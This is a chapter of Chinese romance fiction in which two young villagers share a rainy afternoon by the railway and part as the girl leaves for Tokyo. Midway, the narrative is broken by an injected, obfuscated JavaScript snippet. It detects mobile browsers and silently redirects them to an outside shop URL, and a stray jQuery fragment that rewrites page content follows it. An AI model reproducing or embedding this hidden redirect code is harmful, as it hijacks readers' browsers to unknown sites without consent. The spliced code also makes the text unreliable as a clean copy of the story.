那天下午，潮子去找健一郎的时候，天阴着。
她站在他家门口，那个低矮的、被海风吹得发白的木房子。门开着，里面黑漆漆的，有一股咸鱼和旧木头混在一起的味道。健一郎的父亲不在，出海了。他一个人坐在门槛上，正在补一张破渔网。
“健一郎。”
他抬起头，看着她。那双眼睛还是那么亮，但里面有什么东西沉下去了，沉得很深。
“走。”她说。
他没问去哪儿。站起来，拍了拍裤子上的灰，跟着她走。
他们沿着那条走了无数遍的小路，走过村公所，走过那棵歪脖子老树，走过那片稻田。稻子已经收割了，只剩下一茬一茬的茬子，干巴巴地戳在地里。天阴着，云压得很低，海风把她的头发吹起来，又落下去。
他们走到铁轨边上。
那条铁轨，从镇子那头伸过来，穿过田野，穿过山脚，一直伸到很远很远的地方。他们小时候常来这儿。等着火车从远处开过来，越来越近，越来越响，脚下的石子开始震动。然后在火车冲过来的那一刻，从铁轨上跳出来。
那时候他们不怕。什么都不怕。
潮子踩上铁轨，张开胳膊，像走平衡木一样往前走。铁轨很窄，她的脚步不太稳，晃了一下，又站稳了。
健一郎跟在她后面，没踩铁轨，就走在石子路上，看着她。
“你还记不记得，”潮子头也不回，“小时候我们在这儿等火车，你拉着我的手。”
“记得。”
“你那时候说，‘别怕’。”
“嗯。”
“其实我一点都不怕。”潮子回过头，笑了一下，“我就是想让你拉着我。”
健一郎没说话。
远处传来火车的汽笛声。呜呜的，闷闷的，被风送过来。
潮子从铁轨上跳下来，站在他旁边。两个人都看着远处——铁轨尽头，一个绿色的小点正在变大。
火车来了。
那是一种老式的柴油机车，绿色的车身，窗户开着一半，有人在里面抽烟，有人在看报纸。它越来越近，越来越响，脚下的石子开始跳。
潮子站在铁轨上，没动。
“潮子！”健一郎喊了一声。
她还是没动。
火车越来越近，风已经开始扑过来了。她的头发被吹起来，那件旧校服的裙摆也被吹起来，猎猎地响。
“潮子——！”
她在火车冲过来的最后一刹那，从铁轨上跳出来。
火车从他们身边冲过去，轰隆隆的，带起一阵狂风。风吹着她的头发，吹着她的裙子，吹着她整个人往后仰了一下。她站在那里，看着火车远去的背影，看着那个绿色的小点越来越小，最后消失在天边。
然后她笑了。
是那种很真的笑，不是抿着嘴的，是露出白牙的、眼睛弯成月牙的、整个人都在发光的笑。她笑起来的时候，鼻尖那颗痣跟着动，像一颗会跳舞的小黑豆。
健一郎看着她，心里有什么东西被揪了一下。
他喜欢她这样笑。不是那种忍着的、收着的、怕被人看见的笑，是肆意的、张扬的、什么都不管的笑。像海，平时安安静静的，但浪打上来的时候，能把一切都卷走。
她转过头看着他，还在笑。
“走！”她拉起他的手，往前跑。
他们跑过铁轨，跑过那片收割完的稻田，跑过那排光秃秃的树。天更阴了，风更大了，有雨点落下来，一滴，两滴，砸在脸上凉凉的。
“要下雨了！”健一郎喊。
“前面有个屋子！”
他们跑进那个废弃的小屋。是以前农民放农具用的，木头搭的，屋顶缺了几块瓦，墙缝里透着光。地上堆着一垛干草，是去年剩下的，已经发黄了，但还是干的。
他们刚跑进去，雨就下来了。
哗啦啦的，像有人在天上泼水。雨点打在屋顶上，打在瓦片上，打在墙外的草叶上，响成一片。
潮子站在门口，看着外面的雨。她的头发湿了，一缕一缕地贴在脸上。校服也湿了，肩头那一块颜色深下去，贴在皮肤上。她回过头，看着健一郎。
他站在她身后，也在看她。
她伸出手，圈住他的脖子。
她的手臂很细，圈在他晒得黑黑的脖子上，像两根藤缠在树干上。她的脸离他很近，他能看见她睫毛上的水珠，能看见她鼻尖那颗痣上沾的一小片草叶，能看见她嘴唇上细细的纹路。
她吻了他。
轻轻的，软软的，像小时候海浪舔上沙滩的感觉。她的嘴唇有点凉，带着雨水和海水混在一起的味道。
健一郎的手抬起来，放在她腰上。他把她往自己这边带了带，然后加深了这个吻。不是刚才那种轻轻的了，是带着这些天所有东西的——那些闲话，那场架，那个码头上的黄昏。他把那些东西都压进这个吻里，压得她往后退了一步，背靠在门框上。
雨还在下。哗啦啦的，把他们说话的声音都盖住了。
潮子松开他，抬起头。她的眼睛很亮，雨水从她额头上流下来，顺着脸颊往下滚，分不清是雨还是别的什么。
“健一郎。”
“嗯。”
“我要走了。”
他的身体僵住了。
“去哪儿？”声音突然变了，像一根绷紧的弦。
“东京。”
健一郎站在那里，看着她。
“我妈联系了森本先生。”潮子的声音很轻，“他帮我安排了住的地方，还有上学的地方。我妈说……让我去东京闯一闯。”
健一郎没说话。
雨还在下。打在屋顶上，打在瓦片上，打在墙上。他站在那里，像一棵被雷劈过的树，僵着，硬着，一动不动。
她终究还是要走。
他早就知道。从那个东京来的摄影师给她拍照那天起，他就知道。她不属于这里。她不属于这片海，这间酒肆，这条铁轨。她应该去更大的地方，被更多的人看见。他留不住她。从来都留不住。
“健一郎？”
他回过神来。她正看着他，那双大眼睛里有不安，有愧疚，有怕他生气的担心。
他笑了一下。笑得很勉强，嘴角扯了一下就收回去了。
“你要照顾好自己。”他说。
潮子愣了一下。
“东京那么远，没人照顾你。”他的声音很低，像在跟自己说话，“你这个人，受伤了也不说，疼了也不哭。到了那边，谁帮你擦药？”
潮子的鼻子酸了。
“如果——”
他顿了顿。
“如果哪一天，你在东京遇到困难了，就回来。”
他看着她的眼睛。
潮子站在那里，看着这个男孩。她想起五岁那年，他张开胳膊挡在她面前，说“把小潮嫁给我吧”。她想起她被人欺负的时候，他攥着拳头去找那些人算账。她想起她被打的那个晚上，他提着灯笼等在草窝里。她想起他说“我信你”，说“你没拿”，说“我知道”。
这些年，一直都是他。被欺负的时候，是他挡在前面。受伤的时候，是他擦药。难过的时候，是他陪着。他从来没说过什么好听的话，没做过什么漂亮的事。他就是站在那里，像一块礁石，浪打过来，他不躲，也不退。
她怎能不喜欢他呢？
她伸出手，捧起他的脸。他的脸很硬，颧骨高，下巴方，被海风吹得黑黑的，糙糙的。她的手指摸过他的眉毛，摸过他的眼睛，摸过他的鼻子，摸过他的嘴唇。
然后她踮起脚，吻他。
不是刚才那种轻轻的吻了。是疯狂的，是急切的，是把这些年的东西全都倒出来的。她吻着他的嘴唇，他的下巴，他的脸颊，他额头上那道疤。她吻得不管不顾。
她推着他往后退。他退了一步，又退了一步，小腿碰到那垛干草，两个人一起跌进草垛里。
干草被压下去，发出窸窸窣窣的声音。她的头发散在草上，黑的，黄的，混在一起。她的眼睛闭着，睫毛在抖，嘴唇微微张着，喘着气。
健一郎撑起手臂，低头看着她。
她的脸很红，不是害羞的红，是那种被雨水打过的、被风吹过的、活生生的红。雨水从她额头上流下来，顺着太阳穴流进头发里。她的睫毛上还挂着水珠，一颤一颤的。鼻尖那颗痣沾了草屑，她也不管。她的嘴唇因为刚才的吻有点肿，微微张着，露出一点点牙齿。
她整个人躺在那里，像一朵被雨打过的花，花瓣湿了，叶子歪了，但还是那么好看。不是画里那种规规矩矩的好看，是活的、野的、不讲道理的好看。
健一郎看着她，胸口剧烈地起伏着。
他的手撑在她头两边，手指攥着干草，攥得指节发白。他低下头，额头抵在她额头上。她的额头滚烫，他的也是。
“潮子。”他的声音哑得不像自己的。
她睁开眼睛，看着他。
“不可以。”
她的眼睛动了一下。
“现在不可以。”
他的声音在抖，但他一个字一个字说得很清楚。他把撑在她旁边的手收回来，翻了个身，躺在她旁边。
干草被压出一个人形的坑。他躺在那里，大口大口地喘气，眼睛盯着头顶那片破破烂烂的屋顶。雨从瓦片的缺口里飘进来，落在他的脸上，凉凉的。
他伸出手，把她脸上那缕湿漉漉的头发拨开。她的脸露出来了——小小的，鼻尖那颗痣像一粒小小的种子。他用手指把那片草屑轻轻捻掉。
“你要去东京。”他说，声音慢慢平下来，“实现你的梦想。那就去吧。”
潮子侧过头，看着他。
他把她的样子刻进眼睛里。
那双眼睛，又亮又倔的。睫毛很长，湿了之后粘在一起，一绺一绺的。鼻尖那颗痣，长在左边，离鼻孔很近，笑起来的时候会跟着动。嘴唇上面有一颗很小的痣，不仔细看根本看不出来。她的眉毛不是那种细细弯弯的，是有点浓的，有点野的，像海边的草，怎么长都长不规矩。
她的脸，他看了十几年。闭着眼睛都能画出来。但他还是想再看一眼，再多看一眼。
“潮子。”
“嗯。”
“到了东京，好好读书。”
“嗯。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486546|202041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“别跟人打架。”
她笑了一下。
“有人欺负你，别忍着。”
她没说话。
“还有——”
他顿了顿。
“别忘了我。”
潮子侧过身，把脸埋在他肩膀上。她的眼泪终于掉下来了，一滴，两滴，热热的，落在他脖子上，顺着往下流。她没有出声，只是埋在那里，抖着，像那艘小木船在海浪里晃。
健一郎伸出手，搂住她。他的手臂很沉，很重，像铁一样箍在她身上。他把她往自己这边带了带，下巴搁在她头顶上。
雨还在下。打在屋顶上，打在墙上，打在窗外的草叶上。哗啦啦的，把他们两个人的呼吸都盖住了。
过了很久，潮子的声音从他肩膀上传过来，闷闷的。
“健一郎。”
“嗯。”
“你会等我吗？”
他没回答。
他把她搂得更紧了。紧得她有点喘不过气。
“健一郎？”
“嗯。”
“你说话呀。”
他沉默了一会儿。
“潮子。”
“嗯。”
“你记不记得，小时候我奶奶说，我命硬。”
“记得。”
“命硬的人，要护着命软的人。”
她把脸从他肩膀上抬起来，看着他。
他也在看她。
“你命不硬。”他说，“但我护着你。”
她想，她已经知道了答案。
雨小了一点。从哗啦啦变成了淅沥沥，从淅沥沥变成了滴滴答答。天边有一块云散了，露出一小片蓝色的天。
他们躺在那垛干草上，肩挨着肩，谁也没说话。她的手在他手心里，他的手攥着她的手，攥得很紧。
外面的铁轨上，又一列火车开过去了。轰隆隆的，越来越远，最后听不见了。
潮子闭上眼睛。
她听见海浪的声音，从很远的地方传来，一下，一下。
健一郎也听见了。
他没说话，只是看着屋顶那片破破烂烂的瓦片，看着雨水从缺口里一滴滴地落下来。
他把她往自己这边拉了拉，让她的头靠在他肩膀上。
她没动。他也没动。
他们就那么躺着，听着雨声，听着风声，听着远处那片海。
过了很久，雨停了。
太阳从云层后面探出头来，光照进屋子里，照在那垛干草上，照在他们两个人身上。
潮子睁开眼睛。
光刺得她眯了一下眼。她伸出手，挡在眼前。
健一郎侧过头，看着她。阳光照在她脸上，照在她鼻尖那颗痣上。她眯着眼，皱着眉，像一只刚从窝里探出头的小动物。
他看了她一会儿，然后坐起来。
“走吧。”他说。
潮子也坐起来。头发上沾着草屑，脸上还有没干的泪痕。她看着窗外那片被雨洗过的天空，看着那道从云层里射下来的光。
“走。”她说。
两个人站起来，拍拍身上的草屑，走出那个小屋。
外面的空气被雨洗过，干净得发亮。铁轨上还有水光，亮闪闪的，一直延伸到很远的地方。
潮子站在铁轨边上，看着那个方向。
东京在那个方向。她不知道有多远，不知道要走多久。她只知道，在那个方向的尽头，有她从来没见过的城市，有她从来没听过的人，有一种她从来没活过的生活。
健一郎站在她旁边，也在看着那个方向。
两个人谁也没说话。
风吹过来，把她的头发吹起来，把他的衣角吹起来。远处传来汽笛声，又一列火车要来了。
潮子转过头，看着他。
“健一郎。”
“嗯。”
“我走了以后，你也好好的。”
他没说话。
“别打架了。”
他还是没说话。
“好好吃饭。别饿着。”
他看着她，突然笑了一下。是那种很淡的笑，嘴角动了一下就收回去了，但眼睛里有光。
“你操心你自己。”他说。
潮子也笑了。
远处，火车的汽笛声越来越近。
潮子最后看了他一眼。那一眼看了很久，看得把他的样子从眼睛里刻进心里。然后她转过身，沿着铁轨旁边的石子路往前走。
走了几步，她停下来，回过头。
他还站在那里，看着她。
她朝他笑了一下，露出白牙。然后她转过身，继续往前走。
这一次，她没有回头。
健一郎站在那里，看着她的背影越来越小。她的校服被风吹着，裙摆飘起来。她的头发被风吹着，飘在身后。她走得很慢，但没有停。
她走到铁轨的拐弯处，身影被一丛芦苇遮住了一瞬。然后她又出现了，在芦苇的那一边，更小了，小得像个影子。
他站在那里，一直看，一直看。
直到那个影子消失在铁轨的尽头，消失在天边那片被雨洗过的光里。